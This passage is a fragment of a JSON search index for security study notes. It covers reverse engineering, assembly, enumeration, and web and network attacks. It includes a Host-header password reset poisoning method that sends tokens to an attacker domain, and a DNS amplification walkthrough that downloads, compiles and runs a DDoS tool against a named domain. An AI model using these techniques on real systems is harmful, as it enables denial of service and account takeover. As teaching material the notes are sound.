chunk from scratch Otherwise, there are no chunks available, so try and get a chunk from the top of the heap. If the top of the heap is not big enough, extend it using sbrk. If the top of the heap canโ€™t be extended because we ran into something else in the address space, create a discontinuous extension using mmap and allocate from there If all else fails, return NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocation","id":"297","title":"Allocation"},"298":{"body":"If the pointer is NULL, do nothing. Otherwise, convert the pointer back to a chunk by subtracting the size of the chunk metadata. Perform a few sanity checks on the chunk, and abort if the sanity checks fail. If the chunk fits into a tcache bin, store it there. If the chunk has the M bit set, give it back to the operating system via munmap. Otherwise we obtain the arena heap lock and then: If the chunk fits into a fastbin, put it on the corresponding fastbin. If the chunk size is greater than 64KB, consolidate the fastbins immediately and put the resulting merged chunks on the unsorted bin. Merge the chunk backwards and forwards with neighboring freed chunks in the small, large, and unsorted bins. If the resulting chunk lies at the top of the heap, merge it into the top chunk. Otherwise store it in the unsorted bin.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Deallocation","id":"298","title":"Deallocation"},"299":{"body":"Registers are value containers which reside on the CPU and not in RAM. They are small in size and some have special purposes. You may store both addresses and values in registers and depending on the instruction used the data inside will be interpreted in a different way - this is commonly called an addressing mode . In x86 Intel assembly (i386), the registers are 32 bits (4 bytes) in size and some of them are reserved: ebp - the base pointer, points to the bottom of the current stack frame esp - the stack pointer, points to the top of the current stack frame eip - the instruction pointer, points to the next instruction to be executed The other registers are general purpose registers and can be used for anything you like: eax, ebx, ecx, edx, esi, edi. x64 AMD assembly (amd64) extends these 32-bit registers to 64-bit ones and denotes these new versions by replacing the initial e with an r: rbp, rsp, rip, rax, ... It is important to note that these are not different registers - eax and rax refer to the same space on the CPU, however, eax only provides access to the lower 32 bits of the 64-bit register. You can also get access to the lower 16 and 8 bits of the register using different names: 8 Byte Register Lower 4 Bytes Lower 2 Bytes Lower Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, you cannot access the lower 16 or 8 bits of the instruction pointer. You might sometimes see WORD or DWORD being used in a similar context - WORD means 4 bytes and DWORD means 8 bytes.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Registers","id":"299","title":"Registers"},"3":{"body":"Any major changes outside of the eight category folders in the Notes/ directory are not permitted and will be rejected.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป Out-of-Scope","id":"3","title":"Out-of-Scope"},"30":{"body":"snmp-check is a simple utility for basic SNMP enumeration. You only need to provide it with the IP address to enumerate: snmp-check [IP] Furthermore, you have the following command-line options: -p: Change the port to enumerate. Default is 161. -c: Change the community string to use. Default is public -v: Change the SNMP version to use. Default is v1. There are additional arguments that can be provided but these are the salient ones.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmp-check","id":"30","title":"SNMP Enumeration using snmp-check"},"300":{"body":"Under x64 Linux, function arguments are passed via registers: rdi: First Argument\nrsi: Second Argument\nrdx: Third Argument\nrcx: Fourth Argument\nr8: Fifth Argument\nr9: Sixth Argument The return value is store in rax (eax on 32-bit machines).","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Use in x64 Linux","id":"300","title":"Register Use in x64 Linux"},"301":{"body":"Register dereferencing occurs when the value of the register is treated as an address to the actual data to be used, rather than the data itself. This means that addressed can be stored in registers and used later - this is useful when dealing with large data sizes. For example, mov rax, [rdx] Will check the value inside rdx and treat it as an address - it will go to the location where this address points and get its data from there. It will then move this data into rax. If we hadn't used [], it would have treated the address in rdx simply as a value and moved it directly into rax.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Dereferencing","id":"301","title":"Register Dereferencing"},"302":{"body":"Ghidra is an open-source framework for reverse engineering developed by the NSA. It groups binaries into projects which can be shared amonst multiple people.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Introduction","id":"302","title":"Introduction"},"303":{"body":"To install Ghidra, you can run sudo apt install ghidra.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Installation","id":"303","title":"Installation"},"304":{"body":"File -> New Project Non-Shared Project Select Directory Name the Project","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Creating a Project","id":"304","title":"Creating a Project"},"305":{"body":"File -> Import File Select the binary you want to import Ghidra will automatically detect certain information about the file After importing, Ghidra will display an Import Results Summary containing information about the binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Loading a Binary","id":"305","title":"Loading a Binary"},"306":{"body":"Double-clicking on a program will open it in the Code Browser. A prompt will appear for analysing the binary. Ghidra will attempt to create and label functions, as well as identify any cross-references in memory. Once the binary has been analysed you will be presented with the following screen:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Initial Analysis ยป Initial Analysis","id":"306","title":"Initial Analysis"},"307":{"body":"radare2 is an open-source framework for reverse engineering. The framework includes multiple tools which all work in tandem in order to aid in the analysis of binary files. It uses short abbreviations for its commands - single letters - and many of its commands have subcommands which are also expressed as single letters. Luckily, you can always append a ? to a specific command in order to view its subcommands and what they do. To quit radare2, use the q command.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Introduction","id":"307","title":"Introduction"},"308":{"body":"You can load a binary by invoking the r2 command. You might sometimes need to also add the -e io.cache=true option in order to fix relocations in disassembly.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Loading a Binary","id":"308","title":"Loading a Binary"},"309":{"body":"aaa - analyse the binary afl - list the analysed functions axt - list all the places where a function is called. Note, you need to use the flag name that redare automatically creates for funtions after aaa.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Analysis ยป Analysis","id":"309","title":"Analysis"},"31":{"body":"snmpwalk is a much more versatile tool for SNMP enumeration. It's syntax is mostly the same as snmp-check:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmpwalk","id":"31","title":"SNMP Enumeration using snmpwalk"},"310":{"body":"/ - search the bytes of the binary for a specific string /w - search for wide character strings like Unicode symbols","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Strings ยป Strings","id":"310","title":"Strings"},"311":{"body":"i - display file information ie - find the program's entry point iM - find the program's main function iz - pull the hard-coded strings from the executable (only the data sections), use izz to get the strings from the entire binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Binary Info ยป Binary Info","id":"311","title":"Binary Info"},"312":{"body":"Flags resemble bookmarks. They associate a name with a given offset in a file. Create a new flag f @ offset You can also remove a flag by appending - to the command: f- List available flags - f: Rename a flag fr ","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flags","id":"312","title":"Flags"},"313":{"body":"Flag names should be unique for addressing reasons. However, it is often the case that you need to have simple and ubiquitous names like loop or return. For this purpose exist the so-called \"local\" flags, which are tied to the function where they reside. It is possible to add them using f. command:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Local Flags","id":"313","title":"Local Flags"},"314":{"body":"Flags can be grouped into flag spaces - is a namespace for flags, grouping together similar flags. Some flag spaces include sections, registers, symbols. These are managed with the fs command. [0x00001080]> fs?\nUsage: fs [*] [+-][flagspace|addr] # Manage flagspaces\n| fs display flagspaces\n| fs* display flagspaces as r2 commands\n| fsj display flagspaces in JSON\n| fs * select all flagspaces\n| fs flagspace select flagspace or create if it doesn't exist\n| fs-flagspace remove flagspace\n| fs-* remove all flagspaces\n| fs+foo push previous flagspace and set\n| fs- pop to the previous flagspace\n| fs-. remove the current flagspace\n| fsq list flagspaces in quiet mode\n| fsm [addr] move flags at given address to the current flagspace\n| fss display flagspaces stack\n| fss* display flagspaces stack in r2 commands\n| fssj display flagspaces stack in JSON\n| fsr newname rename selected flagspace","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flag Spaces","id":"314","title":"Flag Spaces"},"315":{"body":"Moving around the file requires the usage of the seek (s) command in order to change the offset at which we are. It takes one argument which is a mathematical expression capable of containing flag names, parenthesis, addition, substraction, multiplication of immediates of contents of memory using brackets. Examples: [0x00000000]> s 0x10\n[0x00000010]> s+4\n[0x00000014]> s-\n[0x00000010]> s+\n[0x00000014]> Here is a list of additional seeking commands: [0x00000000]> s?\nUsage: s # Help for the seek commands. See ?$? to see all variables\n| s Print current address\n| s.hexoff Seek honoring a base from core->offset\n| s:pad Print current address with N padded zeros (defaults to 8)\n| s addr Seek to address\n| s- Undo seek\n| s-* Reset undo seek history\n| s- n Seek n bytes backward\n| s--[n] Seek blocksize bytes backward (/=n)\n| s+ Redo seek\n| s+ n Seek n bytes forward\n| s++[n] Seek blocksize bytes forward (/=n)\n| s[j*=!] List undo seek history (JSON, =list, *r2, !=names, s==)\n| s/ DATA Search for next occurrence of 'DATA'\n| s/x 9091 Search for next occurrence of \\x90\\x91\n| sa [[+-]a] [asz] Seek asz (or bsize) aligned to addr\n| sb Seek aligned to bb start\n| sC[?] string Seek to comment matching given string\n| sf Seek to next function (f->addr+f->size)\n| sf function Seek to address of specified function\n| sf. Seek to the beginning of current function\n| sg/sG Seek begin (sg) or end (sG) of section or file\n| sl[?] [+-]line Seek to line\n| sn/sp ([nkey]) Seek to next/prev location, as specified by scr.nkey\n| so [N] Seek to N next opcode(s)\n| sr pc Seek to register\n| ss Seek silently (without adding an entry to the seek history) > 3s++ ; 3 times block-seeking\n> s 10+0x80 ; seek at 0x80+10","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Seeking ยป Seeking","id":"315","title":"Seeking"},"316":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป Introduction","id":"316","title":"Introduction"},"317":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Introduction","id":"317","title":"Introduction"},"318":{"body":"Variables in assembly do not exists in the same sense as they do in higher-level programming languages. This is especially true of local variabls such as those inside functions. Instead of allocating space for a particular value and having that place be \"named\" according to a variable, the compiler may use a combination of stack and heap allocations as well as registers to achieve behaviour resembling a variable. That being said, there are some parallels with higher-level programming languages as well. When manually programming assembly, it should be noted that variable names are more or less identical to addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Introduction","id":"318","title":"Introduction"},"319":{"body":"Assembly constants cannot be changed during run-time execution. Their value is substituted at assembly-time (corresponding to compile-time substitution for constants in higher-level languages). Consequently, constants are not even assigned a location in memory, for they turn into hard-coded values. Defining constants in assembly is done in the following way: equ For example, EXAMPLE equ 0xdeadbeef","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Constants","id":"319","title":"Constants"},"32":{"body":"Notwithstanding its age, onesixtyone is a good tool which allows you to bruteforce community strings by specifying a file instead of a single string with its -c option. It's syntax is rather simple:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Bruteforce community strings with onesixtyone","id":"32","title":"Bruteforce community strings with onesixtyone"},"320":{"body":"Static or global variables which are initialised before the programme executes are stored in the .data section. In order to define such a variable, you must give it a name, data size and value. In contrast with constants, such data can be mutated during run-time. The following data size declarations can be used: Declaration Size (in bits) Type db 8 dw 16 dd 32 dq 64 ddq 128 Integer dt 128 Floating-Point The syntax for declaring such variables is as follows: For example: byteVar db 0x1A ; byte variable","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Initialised Data","id":"320","title":"Static Initialised Data"},"321":{"body":"Static uninitialised data is stored in the .bss section. The syntax for allocating such variables is following: Such variables are usually allocated as chunks, hence the required count. The primary data types are as follows: Declaration Size (in bits) resb 8 resw 16 resd 32 resq 64 resdq 128 Some examples: bArr resb 10 ; 10 element byte array wArr resw 50 ; 50 element word array dArr resd 100 ; 100 element double array qArr resq 200 ; 200 element quad array","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Uninitialised Data","id":"321","title":"Static Uninitialised Data"},"322":{"body":"Data representation refers to the way that values are stored in a computer. For technical reasons, computers do not use the familiar base-10 number system but rather avail themselves of the base-2 (binary) system. Under this paradigm, numbers are represented as 1's and 0's.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Introduction","id":"322","title":"Introduction"},"323":{"body":"When storing an integer value, there are two ways to represent it - signed and unsigned - depending on whether the value should be entirely non-negative or may also have a \"-\" sign. Based on the number of bits used for storing a value, the value may have a different range. Size Range Size Unsigned Range Signed Range Byte (8 bits) 28 [0..255] [โˆ’128..+127] Word (16 bits) 216 [0..65,535] [โˆ’32,768..+32,767] Doubleword (32 bits) 232 [0..4,294,967,295] [โˆ’2,147,483,648..+2,147,483,647] Quadword (64 bits) 264 [0..264โˆ’1] [โˆ’263..+263โˆ’1] Double Quadword (128 bits) 2128 [0..2128โˆ’1] [โˆ’2127..+2127โˆ’1] Unsigned integers are represented in their typical binary form.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Integer Representation","id":"323","title":"Integer Representation"},"324":{"body":"Signed integers are represented using two's complement. In order to convert a acquire the negative form of a number in two's complement, is two negate all of its bits and add 1 to the number. A corollary of this representation is that it adds no complexity to the addition and subtraction operations.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Two's Complement","id":"324","title":"Two's Complement"},"325":{"body":"Addressing modes refer to the supported methods for accessing and manipulating data. There are three basic addressing modes in x86-64: register, immediate and memory.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Introduction","id":"325","title":"Introduction"},"326":{"body":"In register mode addressing, the operand is a register ( brain undergoing nuclear-fission ). mov rax, rbx The value inside rbx is copied to rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Register Mode Addressing","id":"326","title":"Register Mode Addressing"},"327":{"body":"In immediate mode addressing, the operand is an immediate value, or a literal . These are simply constant values such as 10, 0xfa3, \"lol\", and so on. mov rax, 123 The number 123 is copied into rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Immediate Mode Addressing","id":"327","title":"Immediate Mode Addressing"},"328":{"body":"In memory mode addressing, the operand is treated as a memory location. This is referred to as indirection or dereferencing and is similar to how pointers can be dereferenced in C/C++. In assembly, this is done by wrapping the operand in square brackets: []. So for example, rax refers to the value stored within the register rax. However, [rax] means \"treat rax like a pointer and use the value it points to\". Essentially, [rax] treats the value inside the register as an address and uses that address to find the actual value it needs. mov DWORD PTR [rax], 0xdeadbeef The value 0xdeadbeef is copied into the location pointed to by rax. Since memory is byte-addressable, it is oftentimes required to specify how many bytes we want to access. This is done by prepending one of the following specifiers to the operand: Specifier Number of Bytes BYTE PTR / byte 1 WORD PTR / word 2 DWORD PTR / dword 4 QWORD PTR / qword 8 Moreover, the actual formula for memory addressing is a bit more complicated, since it was developed mainly for making the implementation of arrays easier. [baseAddr + (indexReg * scaleValue) + offset] The baseAddr must be a register or variable name, although it may be omitted in which case the address is relative to the beginning of the data segment. indexReg is a register which specifies contains an index into the array and the scaleValue is the size (in bytes) of a single member of the array. The offset must be an immediate value. mov eax, dword [ebx] ; move into eax the value which ebx points to\nmov rax, QWORD PTR [rbx + rsi] ; move into rax the value which (rbx + rsi) points to\nmov rcx, qword [rax+(rsi*8)] ; move into rcx the value which (rax + (rsi*8)) points to","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Memory Mode Addressing","id":"328","title":"Memory Mode Addressing"},"329":{"body":"Memory is nothing more than a series of bytes which can be individually addressed. When storing values which are larger than a single byte, the bytes under the x86-64 paradigms are stored in little-endian order - the least significant byte (LSB) at the lowest memory address and the most significant byte (MSB) at the highest memory address. For example, the variable var = 0xDEADBEEF would be represented in memory as follows: Note how the right-most byte is at a lower address and the addresses for the rest of the bytes increase as we go right-to-left.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Endianness","id":"329","title":"Endianness"},"33":{"body":"The Leightweight Directory Access Protocol (LDAP) is a protocol which facilitates the access and locating of resources within networks set up with directory services. It stores valuable data such as user information about the organisation in question and has functionality for user authentication and authorisation. What makes LDAP especially easy to enumerate is the possible support of null credentials and the fact that even the most basic domain user credentials will suffice to enumerate a substantial portion of the domain. LDAP runs on the default ports 389 and 636 (for LDAPS), while Global Catalog ( Active Directory 's instance of LDAP) is available on ports 3268 and 3269. Tools which can be used to enumerate LDAP include ldapsearch and windapsearch .","breadcrumbs":"Reconnaissance ยป Enumeration ยป LDAP Enumeration (389, 636, 3268, 3269) ยป Introduction","id":"33","title":"Introduction"},"330":{"body":"Below is the general memory layout of a programme: The reserved section is unavailable to user programmes. The .text sections stores the instructions which comprise the programme's code. Static variables which were declared and given a value at assemble-time are stored in the .data section. The .bss section stores static uninitialised data, i.e variables which were declared but were not provided with an initial value. If such variables are used before they are initialised, their value will be meaningless. The Stack and the Heap are where data can be allocated at run-time. The Stack is used for allocating space for small amounts of data with a size known at compile-time and grows from higher to lower addresses. Conversely, the Heap allows for the dynamic allocation of space for data of size known at run-time and grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Memory Layout","id":"330","title":"Memory Layout"},"331":{"body":"Registers are value containers which reside on the CPU (separately from RAM). They are small in size and some have special purposes. x86-64 assembly operates with 16 general-purpose registers (GPRs). It should be noted that the 8-byte (r) variants do not exist in 32-bit mode. 64-bit Register Lower 4 Bytes Lower 2 Bytes Lower 1 Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, the lower 16 bits of the rip register (instruction pointer) are inaccessible on their own. For example, the rax register could be set to the following: rax = 0x0000 000AB 10CA 07F0 The name eax would then only refer to the part of the rax register which contains 10CA 07F0. Similarly, ax would represent 07F0, and al would be just F0. Additionally, the upper byte of ax, bx, cx and dx may be separately accessed by means of the ah, bh, ch and dh monikers, which exist for legacy reasons.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Introduction","id":"331","title":"Introduction"},"332":{"body":"Not all registers available in the x86-64 paradigm are created equal. Certain registers are reserved for specific purposes, despite being called general-purpose.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Register Specialisation","id":"332","title":"Register Specialisation"},"333":{"body":"The stack pointer rsp (esp for 32-bit machines) is used to point to the current top of the stack and should not be used for any other purpose other than in instructions which involve stack manipulation.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Stack Pointer rsp","id":"333","title":"The Stack Pointer rsp"},"334":{"body":"The base pointer rbp (ebp for 32-bit machines) is the twin brother of the stack pointer and is used as a base pointer when calling functions. It points to the beginning of the current function's stack frame. Interestingly enough, its use is actually gratuitous because compilers can manage the stack frames of functions equally well without a separate base pointer. It is mostly used to make assembly code more comprehensible for humans.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Base Pointer rbp","id":"334","title":"The Base Pointer rbp"},"335":{"body":"The instruction pointer rip (eip for 32-bit machines) points to the next instruction to be executed. It is paramount not to get confused when using a debugger, since the rip does not actually point to the instruction currently being executed.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Instruction Pointer rip","id":"335","title":"The Instruction Pointer rip"},"336":{"body":"The flag register rFlags (eFlags for 32-bit machines) is an isolated register which is automatically updated by the CPU after every instruction and is not directly accessible by programmes. Following is a table of the meaning assigned to different bits of this register. Note that only the lower 32 bits are used even on 64-bit machines. Name Symbol Bit Usage =1 =0 Carry CF 0 Indicates whether the previous operation resulted in a carry-over. CY (Carry) CN (No Carry) 1 Reserved. Always set to 1 for eFlags. Parity PF 2 Indicates whether the least significant byte of the previous instruction's result has an even number of 1's. PE (Parity Even) PO (Parity Odd) 3 Reserved. Auxiliary Carry AF 4 Used to support binary-coded decimal operations. AC (Auxiliary Carry) NA (No Auxiliary Carry) 5 Reserved. Zero ZF 6 Indicates whether the previous operation resulted in a zero. ZR (Zero) NZ (Not Zero) Sign SF 7 Indicates whether the most significant bit was set to 1 in the previous operation (implies a negative result in signed-data contexts). NG (Negative) PL (Positive) Trap TF 8 Used by debuggers when single-stepping through a programme. Interrupt Enable IF 9 Indicates whether or not the CPU should immediately respond to maskable hardware interrupts. EI (Enable Interrupt) DI (Disable Interrupt) Direction DF 10 Indicates the direction in which several bytes of data should be copied from one location to another. DN (Down) UP (Up) Overflow OF 11 Indicates whether the previous operation resulted in an integer overflow. OV (Overflow) NV (No Overflow) I/O Privilege Level IOPL 12-13 Nested Task NT 14 Mode MD 15 Resume RF 16 Virtual 8086 Mode VM 17 31-63 Reserved.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Flag Register rFlags","id":"336","title":"The Flag Register rFlags"},"337":{"body":"In addition to the aforementioned registers, the x86-64 paradigm includes 16 registers, xmm[0-15], which are used for 32- and 64-bit floating-point operations. Furthermore, the same registers are used to support the Streaming SIMD Extensions (SSE) which allow for the execution of Single Instruction Multiple Data (SIMD) instructions.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Floating-Point Registers and SSE","id":"337","title":"Floating-Point Registers and SSE"},"338":{"body":"The x86-64 assembly paradigm has quite a lot of different instructions available at its disposal. An instructions consists of an operation and a set of operands where the latter specify the data and the former specifies what is to be done to that data.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Instruction Set ยป Introduction","id":"338","title":"Introduction"},"339":{"body":"Typically, instruction signatures are represented using the following operand notation. Operand Notation Description Register operand. , , , Register operand with a specific size requirement. Source operand. Destination operand - this may be a register or memory location. Floating-point destination register operand. Immediate value (a literal). Base-10 by default, but can be preceded with 0x to make it hexadecimal. Memory location - a variable name or an address. Arbitrary operand - immediate value, register or memory location. .'\">View Me! Here, a new URL is generated based on the value of a parameter $val. Here, the attacker passes the value 123%26action=edit onto the parameter. The URL-encoded value for & is %26. When this gets to the htmlspecialchars function, the %26 gets converted to an &. When the URL gets formed, it becomes And since this is view as HTML, an additional parameter has been smuggled! The link would be equivalent to /page.php? action=view&par=123&action=edit This second action parameter could cause unexpected behaviour based on how the server handles duplicate requests.","breadcrumbs":"Exploitation ยป Web ยป HTTP Parameter Pollution ยป Client-Side HPP","id":"140","title":"Client-Side HPP"},"141":{"body":"The HTTP Host header is a mandatory header for HTTP requests and specifies the domain name which the client wants to access. This is especially handy with virtual hosting because a single IP address may provide different services on different domains and the server needs to know which page to return to the client. For example, the same machine may serve a blog website at blog.example.com and a git repository at dev.example.com. In order to specify which of the two services the client wants to access, they must specify either the header Host: blog.example.com or dev.example.com, respectively, in their request. A host header injection vulnerability arises when the target application unsafely uses the contents of the Host header, typically in order to construct an absolute URL.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Introduction","id":"141","title":"Introduction"},"142":{"body":"This technique involves using Host Header Injection in order to force a vulnerable application to generate a password reset link which points to a malicious domain. This may be leveraged to steal the secret tokens required to reset the passwords of arbitrary users and consequently compromise their accounts. Typically applications implement password resetting as follows. The user specifies their username/email. The server generates a temporary, unique, high-entropy token for the user. The server generates a URL for the password reset with the secret token included as a URL parameter. For example, example.com/reset?token=abcdefghijklmnopqrstuvwxyz The server sends an email to the client which includes the generated password reset link. When the user clicks the link in their email, the token in the URL is used by server in order to determine whose password is being reset and whether or not it is a valid request. If the Host header of the request for a password reset is used in generating the password reset URL, an adversary may leverage it in order to steal the token for an arbitrary user. For example, an adversary could submit a password reset request for a user, e.g. carlos, intercept the request and modify the Host header to point to a domain controlled by them: Host: exploit-server.com. When the server generates the password reset URL, it will resemble the following, http://exploit-server.com/reset?token=abcdefghijklmnopqrstuvwxyz. If the victim clicks on the link, their token will be handed over to the attacker by means of the exploit-server.com domain which receives the password reset request. This type of attack, however, does not always require user interaction because emails are typically scanned be it to determine if they are spam or if they contain a virus and the scanners will oftentimes open the links themselves, all automatically, thus giving the attacker the token to reset the password.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Password Reset Poisoning","id":"142","title":"Password Reset Poisoning"},"143":{"body":"Check to see if absolute URLs are necessary and cannot be replaced with relative ones. If an absolute URL is necessary, ensure that the current domain is stored in a configuration file and do NOT use the one from the Host: header. If using the Host header is inevitable, ensure that it is validated against a whitelist of permitted domains. Different frameworks may provide different methods for achieving this. Drop support for additional headers which may permit such attacks, such as the X-Forward-Host header. Do NOT virtual-host internal-only websites on a server which also provides public-facing content, since those may be accessed via manipulation of the Host header.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Prevention","id":"143","title":"Prevention"},"144":{"body":"","breadcrumbs":"Exploitation ยป Windows ยป Windows","id":"144","title":"Windows"},"145":{"body":"Shell Command Files (SCF) permit a limited set of operations and are executed upon browsing to the location where they are stored. What makes them interesting is the fact that they can communicate through SMB, which means that it is possible to extract NTLM hashes from Windows hosts. This can be achieved if you are provided with write access to an SMB share.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป Introduction","id":"145","title":"Introduction"},"146":{"body":"You will first need to create a malicious .scf file where you are going to write a simple (you can scarcely even call it that) script.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป The Attack","id":"146","title":"The Attack"},"147":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS","id":"147","title":"DNS"},"148":{"body":"A DNS (Traffic) Amplificaton attack is a popular form of a distributed denial of service (DDoS) attack, which abuses open DNS resolvers to flood a target system with DNS response traffic. It's called an amplification attack because it uses DNS responses to upscale the size of the data sent to the victim.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป What is DNS Traffic Amplification?","id":"148","title":"What is DNS Traffic Amplification?"},"149":{"body":"An attacker sends a DNS name lookup to an open resolver with the source IP spoofed to be the victim's IP address. That way, any response traffic would be sent to the victim and not the attacker. The requests submitted by the attacker usually aim to query for as much information as possible in order to maximise the amplification effect. In most cases, the queries sent are of type ANY which requests all known information about a particular DNS zone. Using a botnet, it's easy to create immense amounts of traffic. It is also rather difficult to protect against these attacks because the traffic is coming from legitimate sources - real DNS servers.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป How does it work?","id":"149","title":"How does it work?"},"15":{"body":"This is the process of discovering active hosts on a network, either for attacking them or assessing the overall network security.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Network Scanning","id":"15","title":"Network Scanning"},"150":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Conducting a DNS Traffic Amplification Attack","id":"150","title":"Conducting a DNS Traffic Amplification Attack"},"151":{"body":"We should first check if a DNS Traffic Amplification is possible and if it's viable. We can do this through Metasploit using the module auxiliary/scanner/dns/dns_amp. In the RHOSTS you need to put the IP of the name server you want to test. This module will tell you if a name server can be used in an amplification attack but won't actually execute the attack. Run the scanner:","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Testing a DNS server for attack surface","id":"151","title":"Testing a DNS server for attack surface"},"152":{"body":"A simple tool is available only as a proof of concept here . You will need to download and then compile it: wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c gcc -o dnsdrdos dnsdrdos.c -Wall -ansi โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\n--2021-09-21 13:01:11-- https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\nResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...\nConnecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 15109 (15K) [text/plain]\nSaving to: โ€˜dnsdrdos.cโ€™ dnsdrdos.c 100%[========================================================================================================================================>] 14.75K --.-KB/s in 0.001s 2021-09-21 13:01:11 (17.9 MB/s) - โ€˜dnsdrdos.cโ€™ saved [15109/15109] โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ gcc -o dnsdrdos dnsdrdos.c -Wall -ansi Now, create a file containing the IP's of each DNS server you want to use in the attack (only one IP per line). Use the following syntax to run the attack: sudo ./dnsdrdos -f -s -d -l โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ sudo ./dnsdrdos -f dns_servers -s 192.168.129.2 -d nsa.gov -l 30\n----------------------------------------------- dnsdrdos - by noptrix - http://www.noptrix.net/ ----------------------------------------------- โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ The output may be empty, but the packets were sent. You can verify this with wireshark:","breadcrumbs":"Exploitation ยป DNS ยป DNS 